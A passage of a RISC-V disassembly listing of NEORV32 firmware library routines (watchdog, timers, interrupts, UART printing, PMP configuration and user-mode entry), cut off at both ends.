194c: 00167613 andi a2,a2,1
1950: 0015f593 andi a1,a1,1
1954: 00151513 slli a0,a0,0x1
1958: 00861613 slli a2,a2,0x8
195c: 00c56533 or a0,a0,a2
1960: 00459593 slli a1,a1,0x4
1964: fbc00793 li a5,-68
1968: 04000713 li a4,64
196c: 00b56533 or a0,a0,a1
1970: 00e7a023 sw a4,0(a5)
1974: 00156513 ori a0,a0,1
1978: 00a7a023 sw a0,0(a5)
197c: 00008067 ret
00001980 <neorv32_wdt_disable>:
1980: fbc00793 li a5,-68
1984: 0007a023 sw zero,0(a5)
1988: 0007a503 lw a0,0(a5)
198c: 00157513 andi a0,a0,1
1990: 40a00533 neg a0,a0
1994: 00008067 ret
00001998 <neorv32_wdt_force>:
1998: fbc00713 li a4,-68
199c: 00072783 lw a5,0(a4)
19a0: 0807e793 ori a5,a5,128
19a4: 00f72023 sw a5,0(a4)
19a8: 00008067 ret
000019ac <neorv32_gptmr_setup>:
19ac: f6000793 li a5,-160
19b0: 00757513 andi a0,a0,7
19b4: 0015f593 andi a1,a1,1
19b8: 0007a023 sw zero,0(a5)
19bc: 00151513 slli a0,a0,0x1
19c0: 00459593 slli a1,a1,0x4
19c4: 00c7a223 sw a2,4(a5)
19c8: 00b56533 or a0,a0,a1
19cc: 0007a423 sw zero,8(a5)
19d0: 00156513 ori a0,a0,1
19d4: 00a7a023 sw a0,0(a5)
19d8: 00008067 ret
000019dc <neorv32_gptmr_disable>:
19dc: f6000713 li a4,-160
19e0: 00072783 lw a5,0(a4)
19e4: ffe7f793 andi a5,a5,-2
19e8: 00f72023 sw a5,0(a4)
19ec: 00008067 ret
000019f0 <__neorv32_xirq_core>:
19f0: f8000693 li a3,-128
19f4: 0086a783 lw a5,8(a3)
19f8: 00100713 li a4,1
19fc: 00f71733 sll a4,a4,a5
1a00: fff74713 not a4,a4
1a04: 00e6a223 sw a4,4(a3)
1a08: 00279713 slli a4,a5,0x2
1a0c: 81c18793 addi a5,gp,-2020 # 8000001c <__neorv32_xirq_vector_lut>
1a10: 0006a423 sw zero,8(a3)
1a14: 00e787b3 add a5,a5,a4
1a18: 0007a783 lw a5,0(a5)
1a1c: 00078067 jr a5
00001a20 <__neorv32_xirq_dummy_handler>:
1a20: 00000013 nop
1a24: 00008067 ret
00001a28 <neorv32_xirq_available>:
1a28: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
1a2c: 01c55513 srli a0,a0,0x1c
1a30: 00157513 andi a0,a0,1
1a34: 00008067 ret
00001a38 <neorv32_xirq_setup>:
1a38: f8002023 sw zero,-128(zero) # ffffff80 <__ctr0_io_space_begin+0x180>
1a3c: 81c18793 addi a5,gp,-2020 # 8000001c <__neorv32_xirq_vector_lut>
1a40: 00002737 lui a4,0x2
1a44: f8002223 sw zero,-124(zero) # ffffff84 <__ctr0_io_space_begin+0x184>
1a48: 08078693 addi a3,a5,128
1a4c: a2070713 addi a4,a4,-1504 # 1a20 <__neorv32_xirq_dummy_handler>
1a50: 00e7a023 sw a4,0(a5)
1a54: 00478793 addi a5,a5,4
1a58: fed79ce3 bne a5,a3,1a50 <neorv32_xirq_setup+0x18>
1a5c: 000025b7 lui a1,0x2
1a60: 9f058593 addi a1,a1,-1552 # 19f0 <__neorv32_xirq_core>
1a64: 01500513 li a0,21
1a68: 2e80106f j 2d50 <neorv32_rte_exception_install>
00001a6c <neorv32_xirq_install>:
1a6c: 01f00793 li a5,31
1a70: 02a7ec63 bltu a5,a0,1aa8 <neorv32_xirq_install+0x3c>
1a74: 00251713 slli a4,a0,0x2
1a78: 81c18793 addi a5,gp,-2020 # 8000001c <__neorv32_xirq_vector_lut>
1a7c: 00e787b3 add a5,a5,a4
1a80: 00b7a023 sw a1,0(a5)
1a84: 00100793 li a5,1
1a88: 00a79533 sll a0,a5,a0
1a8c: fff54793 not a5,a0
1a90: f8f02223 sw a5,-124(zero) # ffffff84 <__ctr0_io_space_begin+0x184>
1a94: f8002783 lw a5,-128(zero) # ffffff80 <__ctr0_io_space_begin+0x180>
1a98: 00a7e533 or a0,a5,a0
1a9c: f8a02023 sw a0,-128(zero) # ffffff80 <__ctr0_io_space_begin+0x180>
1aa0: 00000513 li a0,0
1aa4: 00008067 ret
1aa8: 00100513 li a0,1
1aac: 00008067 ret
00001ab0 <neorv32_slink_available>:
1ab0: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
1ab4: 01955513 srli a0,a0,0x19
1ab8: 00157513 andi a0,a0,1
1abc: 00008067 ret
00001ac0 <neorv32_slink_enable>:
1ac0: ec000713 li a4,-320
1ac4: 00072783 lw a5,0(a4)
1ac8: 800006b7 lui a3,0x80000
1acc: 00d7e7b3 or a5,a5,a3
1ad0: 00f72023 sw a5,0(a4)
1ad4: 00008067 ret
00001ad8 <neorv32_slink_disable>:
1ad8: ec000713 li a4,-320
1adc: 00072783 lw a5,0(a4)
1ae0: 00179793 slli a5,a5,0x1
1ae4: 0017d793 srli a5,a5,0x1
1ae8: 00f72023 sw a5,0(a4)
1aec: 00008067 ret
00001af0 <neorv32_slink_rx_irq_config>:
1af0: ec802783 lw a5,-312(zero) # fffffec8 <__ctr0_io_space_begin+0xc8>
1af4: 00757513 andi a0,a0,7
1af8: 00100713 li a4,1
1afc: 00a71733 sll a4,a4,a0
1b00: 02058263 beqz a1,1b24 <neorv32_slink_rx_irq_config+0x34>
1b04: 00f767b3 or a5,a4,a5
1b08: 00850713 addi a4,a0,8
1b0c: 00100513 li a0,1
1b10: 00e51533 sll a0,a0,a4
1b14: 00060e63 beqz a2,1b30 <neorv32_slink_rx_irq_config+0x40>
1b18: 00f567b3 or a5,a0,a5
1b1c: ecf02423 sw a5,-312(zero) # fffffec8 <__ctr0_io_space_begin+0xc8>
1b20: 00008067 ret
1b24: fff74713 not a4,a4
1b28: 00f777b3 and a5,a4,a5
1b2c: fddff06f j 1b08 <neorv32_slink_rx_irq_config+0x18>
1b30: fff54513 not a0,a0
1b34: 00f577b3 and a5,a0,a5
1b38: fe5ff06f j 1b1c <neorv32_slink_rx_irq_config+0x2c>
00001b3c <neorv32_slink_tx_irq_config>:
1b3c: 00757513 andi a0,a0,7
1b40: ec802783 lw a5,-312(zero) # fffffec8 <__ctr0_io_space_begin+0xc8>
1b44: 01050693 addi a3,a0,16
1b48: 00100713 li a4,1
1b4c: 00d71733 sll a4,a4,a3
1b50: 02058263 beqz a1,1b74 <neorv32_slink_tx_irq_config+0x38>
1b54: 00f767b3 or a5,a4,a5
1b58: 01850713 addi a4,a0,24
1b5c: 00100513 li a0,1
1b60: 00e51533 sll a0,a0,a4
1b64: 00060e63 beqz a2,1b80 <neorv32_slink_tx_irq_config+0x44>
1b68: 00f567b3 or a5,a0,a5
1b6c: ecf02423 sw a5,-312(zero) # fffffec8 <__ctr0_io_space_begin+0xc8>
1b70: 00008067 ret
1b74: fff74713 not a4,a4
1b78: 00f777b3 and a5,a4,a5
1b7c: fddff06f j 1b58 <neorv32_slink_tx_irq_config+0x1c>
1b80: fff54513 not a0,a0
1b84: 00f577b3 and a5,a0,a5
1b88: fe5ff06f j 1b6c <neorv32_slink_tx_irq_config+0x30>
00001b8c <neorv32_slink_tx0_nonblocking>:
1b8c: ed002783 lw a5,-304(zero) # fffffed0 <__ctr0_io_space_begin+0xd0>
1b90: 1007f793 andi a5,a5,256
1b94: 00078863 beqz a5,1ba4 <neorv32_slink_tx0_nonblocking+0x18>
1b98: eea02023 sw a0,-288(zero) # fffffee0 <__ctr0_io_space_begin+0xe0>
1b9c: 00000513 li a0,0
1ba0: 00008067 ret
1ba4: 00100513 li a0,1
1ba8: 00008067 ret
00001bac <neorv32_slink_rx0_nonblocking>:
1bac: ed002783 lw a5,-304(zero) # fffffed0 <__ctr0_io_space_begin+0xd0>
1bb0: 0017f793 andi a5,a5,1
1bb4: 00078a63 beqz a5,1bc8 <neorv32_slink_rx0_nonblocking+0x1c>
1bb8: ee002783 lw a5,-288(zero) # fffffee0 <__ctr0_io_space_begin+0xe0>
1bbc: 00f52023 sw a5,0(a0)
1bc0: 00000513 li a0,0
1bc4: 00008067 ret
1bc8: 00100513 li a0,1
1bcc: 00008067 ret
00001bd0 <neorv32_mtime_set_time>:
1bd0: f9000793 li a5,-112
1bd4: 0007a023 sw zero,0(a5)
1bd8: 00b7a223 sw a1,4(a5)
1bdc: 00a7a023 sw a0,0(a5)
1be0: 00008067 ret
00001be4 <neorv32_mtime_get_time>:
1be4: ff010113 addi sp,sp,-16
1be8: f9402783 lw a5,-108(zero) # ffffff94 <__ctr0_io_space_begin+0x194>
1bec: f9002703 lw a4,-112(zero) # ffffff90 <__ctr0_io_space_begin+0x190>
1bf0: f9402683 lw a3,-108(zero) # ffffff94 <__ctr0_io_space_begin+0x194>
1bf4: fed79ae3 bne a5,a3,1be8 <neorv32_mtime_get_time+0x4>
1bf8: 00e12023 sw a4,0(sp)
1bfc: 00f12223 sw a5,4(sp)
1c00: 00012503 lw a0,0(sp)
1c04: 00412583 lw a1,4(sp)
1c08: 01010113 addi sp,sp,16
1c0c: 00008067 ret
00001c10 <neorv32_mtime_set_timecmp>:
1c10: f9000793 li a5,-112
1c14: fff00713 li a4,-1
1c18: 00e7a423 sw a4,8(a5)
1c1c: 00b7a623 sw a1,12(a5)
1c20: 00a7a423 sw a0,8(a5)
1c24: 00008067 ret
00001c28 <__neorv32_uart_itoa>:
1c28: fd010113 addi sp,sp,-48
1c2c: 02812423 sw s0,40(sp)
1c30: 02912223 sw s1,36(sp)
1c34: 03212023 sw s2,32(sp)
1c38: 01312e23 sw s3,28(sp)
1c3c: 01412c23 sw s4,24(sp)
1c40: 02112623 sw ra,44(sp)
1c44: 01512a23 sw s5,20(sp)
1c48: 00004a37 lui s4,0x4
1c4c: 00050493 mv s1,a0
1c50: 00058413 mv s0,a1
1c54: 00058523 sb zero,10(a1)
1c58: 00000993 li s3,0
1c5c: 00410913 addi s2,sp,4
1c60: 238a0a13 addi s4,s4,568 # 4238 <numbers.1>
1c64: 00a00593 li a1,10
1c68: 00048513 mv a0,s1
1c6c: 2b1010ef jal ra,371c <__umodsi3>
1c70: 00aa0533 add a0,s4,a0
1c74: 00054783 lbu a5,0(a0)
1c78: 01390ab3 add s5,s2,s3
1c7c: 00048513 mv a0,s1
1c80: 00fa8023 sb a5,0(s5)
1c84: 00a00593 li a1,10
1c88: 24d010ef jal ra,36d4 <__udivsi3>
1c8c: 00198993 addi s3,s3,1
1c90: 00a00793 li a5,10
1c94: 00050493 mv s1,a0
1c98: fcf996e3 bne s3,a5,1c64 <__neorv32_uart_itoa+0x3c>
1c9c: 00090693 mv a3,s2
1ca0: 00900713 li a4,9
1ca4: 03000613 li a2,48
1ca8: 0096c583 lbu a1,9(a3) # 80000009 <__ctr0_io_space_begin+0x80000209>
1cac: 00070793 mv a5,a4
1cb0: fff70713 addi a4,a4,-1
1cb4: 01071713 slli a4,a4,0x10
1cb8: 01075713 srli a4,a4,0x10
1cbc: 00c59a63 bne a1,a2,1cd0 <__neorv32_uart_itoa+0xa8>
1cc0: 000684a3 sb zero,9(a3)
1cc4: fff68693 addi a3,a3,-1
1cc8: fe0710e3 bnez a4,1ca8 <__neorv32_uart_itoa+0x80>
1ccc: 00000793 li a5,0
1cd0: 00f907b3 add a5,s2,a5
1cd4: 00000593 li a1,0
1cd8: 0007c703 lbu a4,0(a5)
1cdc: 00070c63 beqz a4,1cf4 <__neorv32_uart_itoa+0xcc>
1ce0: 00158693 addi a3,a1,1
1ce4: 00b405b3 add a1,s0,a1
1ce8: 00e58023 sb a4,0(a1)
1cec: 01069593 slli a1,a3,0x10
1cf0: 0105d593 srli a1,a1,0x10
1cf4: fff78713 addi a4,a5,-1
1cf8: 02f91863 bne s2,a5,1d28 <__neorv32_uart_itoa+0x100>
1cfc: 00b40433 add s0,s0,a1
1d00: 00040023 sb zero,0(s0)
1d04: 02c12083 lw ra,44(sp)
1d08: 02812403 lw s0,40(sp)
1d0c: 02412483 lw s1,36(sp)
1d10: 02012903 lw s2,32(sp)
1d14: 01c12983 lw s3,28(sp)
1d18: 01812a03 lw s4,24(sp)
1d1c: 01412a83 lw s5,20(sp)
1d20: 03010113 addi sp,sp,48
1d24: 00008067 ret
1d28: 00070793 mv a5,a4
1d2c: fadff06f j 1cd8 <__neorv32_uart_itoa+0xb0>
00001d30 <__neorv32_uart_tohex>:
1d30: 00004637 lui a2,0x4
1d34: 00758693 addi a3,a1,7
1d38: 00000713 li a4,0
1d3c: 24460613 addi a2,a2,580 # 4244 <symbols.0>
1d40: 02000813 li a6,32
1d44: 00e557b3 srl a5,a0,a4
1d48: 00f7f793 andi a5,a5,15
1d4c: 00f607b3 add a5,a2,a5
1d50: 0007c783 lbu a5,0(a5)
1d54: 00470713 addi a4,a4,4
1d58: fff68693 addi a3,a3,-1
1d5c: 00f680a3 sb a5,1(a3)
1d60: ff0712e3 bne a4,a6,1d44 <__neorv32_uart_tohex+0x14>
1d64: 00058423 sb zero,8(a1)
1d68: 00008067 ret
00001d6c <neorv32_uart0_available>:
1d6c: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
1d70: 01255513 srli a0,a0,0x12
1d74: 00157513 andi a0,a0,1
1d78: 00008067 ret
00001d7c <neorv32_uart0_setup>:
1d7c: ff010113 addi sp,sp,-16
1d80: 00812423 sw s0,8(sp)
1d84: 00912223 sw s1,4(sp)
1d88: 00112623 sw ra,12(sp)
1d8c: fa002023 sw zero,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
1d90: fe002783 lw a5,-32(zero) # ffffffe0 <__ctr0_io_space_begin+0x1e0>
1d94: 00058413 mv s0,a1
1d98: 00151593 slli a1,a0,0x1
1d9c: 00078513 mv a0,a5
1da0: 00060493 mv s1,a2
1da4: 131010ef jal ra,36d4 <__udivsi3>
1da8: 01051513 slli a0,a0,0x10
1dac: 000017b7 lui a5,0x1
1db0: 01055513 srli a0,a0,0x10
1db4: 00000713 li a4,0
1db8: ffe78793 addi a5,a5,-2 # ffe <main+0xe6e>
1dbc: 04a7e463 bltu a5,a0,1e04 <neorv32_uart0_setup+0x88>
1dc0: 0034f793 andi a5,s1,3
1dc4: 00347413 andi s0,s0,3
1dc8: fff50513 addi a0,a0,-1
1dcc: 01479793 slli a5,a5,0x14
1dd0: 01641413 slli s0,s0,0x16
1dd4: 00f567b3 or a5,a0,a5
1dd8: 0087e7b3 or a5,a5,s0
1ddc: 01871713 slli a4,a4,0x18
1de0: 00c12083 lw ra,12(sp)
1de4: 00812403 lw s0,8(sp)
1de8: 00e7e7b3 or a5,a5,a4
1dec: 10000737 lui a4,0x10000
1df0: 00e7e7b3 or a5,a5,a4
1df4: faf02023 sw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
1df8: 00412483 lw s1,4(sp)
1dfc: 01010113 addi sp,sp,16
1e00: 00008067 ret
1e04: ffe70693 addi a3,a4,-2 # ffffffe <__crt0_copy_data_src_begin+0xfffb3a2>
1e08: 0fd6f693 andi a3,a3,253
1e0c: 00069a63 bnez a3,1e20 <neorv32_uart0_setup+0xa4>
1e10: 00355513 srli a0,a0,0x3
1e14: 00170713 addi a4,a4,1
1e18: 0ff77713 andi a4,a4,255
1e1c: fa1ff06f j 1dbc <neorv32_uart0_setup+0x40>
1e20: 00155513 srli a0,a0,0x1
1e24: ff1ff06f j 1e14 <neorv32_uart0_setup+0x98>
00001e28 <neorv32_uart0_putc>:
1e28: 00040737 lui a4,0x40
1e2c: fa002783 lw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
1e30: 00e7f7b3 and a5,a5,a4
1e34: fe079ce3 bnez a5,1e2c <neorv32_uart0_putc+0x4>
1e38: faa02223 sw a0,-92(zero) # ffffffa4 <__ctr0_io_space_begin+0x1a4>
1e3c: 00008067 ret
00001e40 <neorv32_uart0_tx_busy>:
1e40: fa002783 lw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
1e44: 00100513 li a0,1
1e48: 0007c863 bltz a5,1e58 <neorv32_uart0_tx_busy+0x18>
1e4c: 0107d513 srli a0,a5,0x10
1e50: 00154513 xori a0,a0,1
1e54: 00157513 andi a0,a0,1
1e58: 00008067 ret
00001e5c <neorv32_uart0_print>:
1e5c: ff010113 addi sp,sp,-16
1e60: 00812423 sw s0,8(sp)
1e64: 01212023 sw s2,0(sp)
1e68: 00112623 sw ra,12(sp)
1e6c: 00912223 sw s1,4(sp)
1e70: 00050413 mv s0,a0
1e74: 00a00913 li s2,10
1e78: 00044483 lbu s1,0(s0)
1e7c: 00140413 addi s0,s0,1
1e80: 00049e63 bnez s1,1e9c <neorv32_uart0_print+0x40>
1e84: 00c12083 lw ra,12(sp)
1e88: 00812403 lw s0,8(sp)
1e8c: 00412483 lw s1,4(sp)
1e90: 00012903 lw s2,0(sp)
1e94: 01010113 addi sp,sp,16
1e98: 00008067 ret
1e9c: 01249663 bne s1,s2,1ea8 <neorv32_uart0_print+0x4c>
1ea0: 00d00513 li a0,13
1ea4: f85ff0ef jal ra,1e28 <neorv32_uart0_putc>
1ea8: 00048513 mv a0,s1
1eac: f7dff0ef jal ra,1e28 <neorv32_uart0_putc>
1eb0: fc9ff06f j 1e78 <neorv32_uart0_print+0x1c>
00001eb4 <neorv32_uart0_printf>:
1eb4: fa010113 addi sp,sp,-96
1eb8: 04f12a23 sw a5,84(sp)
1ebc: 04410793 addi a5,sp,68
1ec0: 02812c23 sw s0,56(sp)
1ec4: 03212823 sw s2,48(sp)
1ec8: 03412423 sw s4,40(sp)
1ecc: 03512223 sw s5,36(sp)
1ed0: 03612023 sw s6,32(sp)
1ed4: 01712e23 sw s7,28(sp)
1ed8: 01812c23 sw s8,24(sp)
1edc: 01912a23 sw s9,20(sp)
1ee0: 02112e23 sw ra,60(sp)
1ee4: 02912a23 sw s1,52(sp)
1ee8: 03312623 sw s3,44(sp)
1eec: 00050413 mv s0,a0
1ef0: 04b12223 sw a1,68(sp)
1ef4: 04c12423 sw a2,72(sp)
1ef8: 04d12623 sw a3,76(sp)
1efc: 04e12823 sw a4,80(sp)
1f00: 05012c23 sw a6,88(sp)
1f04: 05112e23 sw a7,92(sp)
1f08: 00f12023 sw a5,0(sp)
1f0c: 02500a13 li s4,37
1f10: 00a00a93 li s5,10
1f14: 07300913 li s2,115
1f18: 07500b13 li s6,117
1f1c: 07800b93 li s7,120
1f20: 06300c13 li s8,99
1f24: 06900c93 li s9,105
1f28: 00044483 lbu s1,0(s0)
1f2c: 02049c63 bnez s1,1f64 <neorv32_uart0_printf+0xb0>
1f30: 03c12083 lw ra,60(sp)
1f34: 03812403 lw s0,56(sp)
1f38: 03412483 lw s1,52(sp)
1f3c: 03012903 lw s2,48(sp)
1f40: 02c12983 lw s3,44(sp)
1f44: 02812a03 lw s4,40(sp)
1f48: 02412a83 lw s5,36(sp)
1f4c: 02012b03 lw s6,32(sp)
1f50: 01c12b83 lw s7,28(sp)
1f54: 01812c03 lw s8,24(sp)
1f58: 01412c83 lw s9,20(sp)
1f5c: 06010113 addi sp,sp,96
1f60: 00008067 ret
1f64: 0d449863 bne s1,s4,2034 <neorv32_uart0_printf+0x180>
1f68: 00240993 addi s3,s0,2
1f6c: 00144403 lbu s0,1(s0)
1f70: 05240263 beq s0,s2,1fb4 <neorv32_uart0_printf+0x100>
1f74: 00896e63 bltu s2,s0,1f90 <neorv32_uart0_printf+0xdc>
1f78: 05840c63 beq s0,s8,1fd0 <neorv32_uart0_printf+0x11c>
1f7c: 07940663 beq s0,s9,1fe8 <neorv32_uart0_printf+0x134>
1f80: 02500513 li a0,37
1f84: ea5ff0ef jal ra,1e28 <neorv32_uart0_putc>
1f88: 00040513 mv a0,s0
1f8c: 0540006f j 1fe0 <neorv32_uart0_printf+0x12c>
1f90: 09640663 beq s0,s6,201c <neorv32_uart0_printf+0x168>
1f94: ff7416e3 bne s0,s7,1f80 <neorv32_uart0_printf+0xcc>
1f98: 00012783 lw a5,0(sp)
1f9c: 00410593 addi a1,sp,4
1fa0: 0007a503 lw a0,0(a5)
1fa4: 00478713 addi a4,a5,4
1fa8: 00e12023 sw a4,0(sp)
1fac: d85ff0ef jal ra,1d30 <__neorv32_uart_tohex>
1fb0: 0640006f j 2014 <neorv32_uart0_printf+0x160>
1fb4: 00012783 lw a5,0(sp)
1fb8: 0007a503 lw a0,0(a5)
1fbc: 00478713 addi a4,a5,4
1fc0: 00e12023 sw a4,0(sp)
1fc4: e99ff0ef jal ra,1e5c <neorv32_uart0_print>
1fc8: 00098413 mv s0,s3
1fcc: f5dff06f j 1f28 <neorv32_uart0_printf+0x74>
1fd0: 00012783 lw a5,0(sp)
1fd4: 0007c503 lbu a0,0(a5)
1fd8: 00478713 addi a4,a5,4
1fdc: 00e12023 sw a4,0(sp)
1fe0: e49ff0ef jal ra,1e28 <neorv32_uart0_putc>
1fe4: fe5ff06f j 1fc8 <neorv32_uart0_printf+0x114>
1fe8: 00012783 lw a5,0(sp)
1fec: 0007a403 lw s0,0(a5)
1ff0: 00478713 addi a4,a5,4
1ff4: 00e12023 sw a4,0(sp)
1ff8: 00045863 bgez s0,2008 <neorv32_uart0_printf+0x154>
1ffc: 02d00513 li a0,45
2000: 40800433 neg s0,s0
2004: e25ff0ef jal ra,1e28 <neorv32_uart0_putc>
2008: 00410593 addi a1,sp,4
200c: 00040513 mv a0,s0
2010: c19ff0ef jal ra,1c28 <__neorv32_uart_itoa>
2014: 00410513 addi a0,sp,4
2018: fadff06f j 1fc4 <neorv32_uart0_printf+0x110>
201c: 00012783 lw a5,0(sp)
2020: 00410593 addi a1,sp,4
2024: 00478713 addi a4,a5,4
2028: 0007a503 lw a0,0(a5)
202c: 00e12023 sw a4,0(sp)
2030: fe1ff06f j 2010 <neorv32_uart0_printf+0x15c>
2034: 01549663 bne s1,s5,2040 <neorv32_uart0_printf+0x18c>
2038: 00d00513 li a0,13
203c: dedff0ef jal ra,1e28 <neorv32_uart0_putc>
2040: 00140993 addi s3,s0,1
2044: 00048513 mv a0,s1
2048: f99ff06f j 1fe0 <neorv32_uart0_printf+0x12c>
0000204c <neorv32_uart1_available>:
204c: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
2050: 01a55513 srli a0,a0,0x1a
2054: 00157513 andi a0,a0,1
2058: 00008067 ret
0000205c <neorv32_uart1_putc>:
205c: 00040737 lui a4,0x40
2060: fd002783 lw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
2064: 00e7f7b3 and a5,a5,a4
2068: fe079ce3 bnez a5,2060 <neorv32_uart1_putc+0x4>
206c: fca02a23 sw a0,-44(zero) # ffffffd4 <__ctr0_io_space_begin+0x1d4>
2070: 00008067 ret
00002074 <neorv32_uart1_tx_busy>:
2074: fd002783 lw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
2078: 00100513 li a0,1
207c: 0007c863 bltz a5,208c <neorv32_uart1_tx_busy+0x18>
2080: 0107d513 srli a0,a5,0x10
2084: 00154513 xori a0,a0,1
2088: 00157513 andi a0,a0,1
208c: 00008067 ret
00002090 <__neorv32_cpu_pmp_cfg_read>:
2090: 00f57513 andi a0,a0,15
2094: fff50513 addi a0,a0,-1
2098: 00e00793 li a5,14
209c: 00a7ee63 bltu a5,a0,20b8 <__neorv32_cpu_pmp_cfg_read+0x28>
20a0: 000047b7 lui a5,0x4
20a4: 25878793 addi a5,a5,600 # 4258 <symbols.0+0x14>
20a8: 00251513 slli a0,a0,0x2
20ac: 00f50533 add a0,a0,a5
20b0: 00052783 lw a5,0(a0)
20b4: 00078067 jr a5
20b8: 3a002573 csrr a0,pmpcfg0
20bc: 00008067 ret
20c0: 3a102573 csrr a0,pmpcfg1
20c4: 00008067 ret
20c8: 3a202573 csrr a0,pmpcfg2
20cc: 00008067 ret
20d0: 3a302573 csrr a0,pmpcfg3
20d4: 00008067 ret
20d8: 3a402573 csrr a0,0x3a4
20dc: 00008067 ret
20e0: 3a502573 csrr a0,0x3a5
20e4: 00008067 ret
20e8: 3a602573 csrr a0,0x3a6
20ec: 00008067 ret
20f0: 3a702573 csrr a0,0x3a7
20f4: 00008067 ret
20f8: 3a802573 csrr a0,0x3a8
20fc: 00008067 ret
2100: 3a902573 csrr a0,0x3a9
2104: 00008067 ret
2108: 3aa02573 csrr a0,0x3aa
210c: 00008067 ret
2110: 3ab02573 csrr a0,0x3ab
2114: 00008067 ret
2118: 3ac02573 csrr a0,0x3ac
211c: 00008067 ret
2120: 3ad02573 csrr a0,0x3ad
2124: 00008067 ret
2128: 3ae02573 csrr a0,0x3ae
212c: 00008067 ret
2130: 3af02573 csrr a0,0x3af
2134: 00008067 ret
00002138 <__neorv32_cpu_pmp_cfg_write>:
2138: 00f57513 andi a0,a0,15
213c: fff50513 addi a0,a0,-1
2140: 00e00793 li a5,14
2144: 00a7ee63 bltu a5,a0,2160 <__neorv32_cpu_pmp_cfg_write+0x28>
2148: 000047b7 lui a5,0x4
214c: 29478793 addi a5,a5,660 # 4294 <symbols.0+0x50>
2150: 00251513 slli a0,a0,0x2
2154: 00f50533 add a0,a0,a5
2158: 00052783 lw a5,0(a0)
215c: 00078067 jr a5
2160: 3a059073 csrw pmpcfg0,a1
2164: 00008067 ret
2168: 3a159073 csrw pmpcfg1,a1
216c: 00008067 ret
2170: 3a259073 csrw pmpcfg2,a1
2174: 00008067 ret
2178: 3a359073 csrw pmpcfg3,a1
217c: 00008067 ret
2180: 3a459073 csrw 0x3a4,a1
2184: 00008067 ret
2188: 3a559073 csrw 0x3a5,a1
218c: 00008067 ret
2190: 3a659073 csrw 0x3a6,a1
2194: 00008067 ret
2198: 3a759073 csrw 0x3a7,a1
219c: 00008067 ret
21a0: 3a859073 csrw 0x3a8,a1
21a4: 00008067 ret
21a8: 3a959073 csrw 0x3a9,a1
21ac: 00008067 ret
21b0: 3aa59073 csrw 0x3aa,a1
21b4: 00008067 ret
21b8: 3ab59073 csrw 0x3ab,a1
21bc: 00008067 ret
21c0: 3ac59073 csrw 0x3ac,a1
21c4: 00008067 ret
21c8: 3ad59073 csrw 0x3ad,a1
21cc: 00008067 ret
21d0: 3ae59073 csrw 0x3ae,a1
21d4: 00008067 ret
21d8: 3af59073 csrw 0x3af,a1
21dc: 00008067 ret
000021e0 <neorv32_cpu_irq_enable>:
21e0: 01f00793 li a5,31
21e4: 00050713 mv a4,a0
21e8: 02a7e663 bltu a5,a0,2214 <neorv32_cpu_irq_enable+0x34>
21ec: ffff17b7 lui a5,0xffff1
21f0: 88878793 addi a5,a5,-1912 # ffff0888 <__ctr0_io_space_begin+0xffff0a88>
21f4: 00a7d7b3 srl a5,a5,a0
21f8: 0017f793 andi a5,a5,1
21fc: 00100513 li a0,1
2200: 00078c63 beqz a5,2218 <neorv32_cpu_irq_enable+0x38>
2204: 00e51533 sll a0,a0,a4
2208: 30452073 csrs mie,a0
220c: 00000513 li a0,0
2210: 00008067 ret
2214: 00100513 li a0,1
2218: 00008067 ret
0000221c <neorv32_cpu_irq_disable>:
221c: 01f00793 li a5,31
2220: 00050713 mv a4,a0
2224: 02a7e663 bltu a5,a0,2250 <neorv32_cpu_irq_disable+0x34>
2228: ffff17b7 lui a5,0xffff1
222c: 88878793 addi a5,a5,-1912 # ffff0888 <__ctr0_io_space_begin+0xffff0a88>
2230: 00a7d7b3 srl a5,a5,a0
2234: 0017f793 andi a5,a5,1
2238: 00100513 li a0,1
223c: 00078c63 beqz a5,2254 <neorv32_cpu_irq_disable+0x38>
2240: 00e51533 sll a0,a0,a4
2244: 30453073 csrc mie,a0
2248: 00000513 li a0,0
224c: 00008067 ret
2250: 00100513 li a0,1
2254: 00008067 ret
00002258 <neorv32_cpu_set_mcycle>:
2258: 00000793 li a5,0
225c: b0079073 csrw mcycle,a5
2260: b8059073 csrw mcycleh,a1
2264: b0051073 csrw mcycle,a0
2268: 00008067 ret
0000226c <neorv32_cpu_set_minstret>:
226c: 00000793 li a5,0
2270: b0279073 csrw minstret,a5
2274: b8259073 csrw minstreth,a1
2278: b0251073 csrw minstret,a0
227c: 00008067 ret
00002280 <neorv32_cpu_goto_user_mode>:
2280: 34109073 csrw mepc,ra
2284: 000020b7 lui ra,0x2
2288: 80008093 addi ra,ra,-2048 # 1800 <main+0x1670>
228c: 3000b073 csrc mstatus,ra
2290: 30200073 mret
00002294 <neorv32_cpu_pmp_get_num_regions>:
2294: fe402503 lw a0,-28(zero) # ffffffe4 <__ctr0_io_space_begin+0x1e4>
2298: 10057513 andi a0,a0,256
229c: 0a050663 beqz a0,2348 <neorv32_cpu_pmp_get_num_regions+0xb4>
22a0: fe010113 addi sp,sp,-32
22a4: 00912a23 sw s1,20(sp)
22a8: 010104b7 lui s1,0x1010
22ac: 00812c23 sw s0,24(sp)
22b0: 01212823 sw s2,16(sp)
22b4: 00112e23 sw ra,28(sp)
22b8: 01312623 sw s3,12(sp)
22bc: 00000413 li s0,0
22c0: 10148493 addi s1,s1,257 # 1010101 <__crt0_copy_data_src_begin+0x100b4a5>
22c4: 01000913 li s2,16
22c8: 00040513 mv a0,s0
22cc: 00048593 mv a1,s1
22d0: 00140413 addi s0,s0,1
22d4: e65ff0ef jal ra,2138 <__neorv32_cpu_pmp_cfg_write>
22d8: ff2418e3 bne s0,s2,22c8 <neorv32_cpu_pmp_get_num_regions+0x34>
22dc: 01010937 lui s2,0x1010
22e0: 00000413 li s0,0
22e4: 00000493 li s1,0
22e8: 10190913 addi s2,s2,257 # 1010101 <__crt0_copy_data_src_begin+0x100b4a5>
22ec: 01000993 li s3,16
22f0: 00048513 mv a0,s1
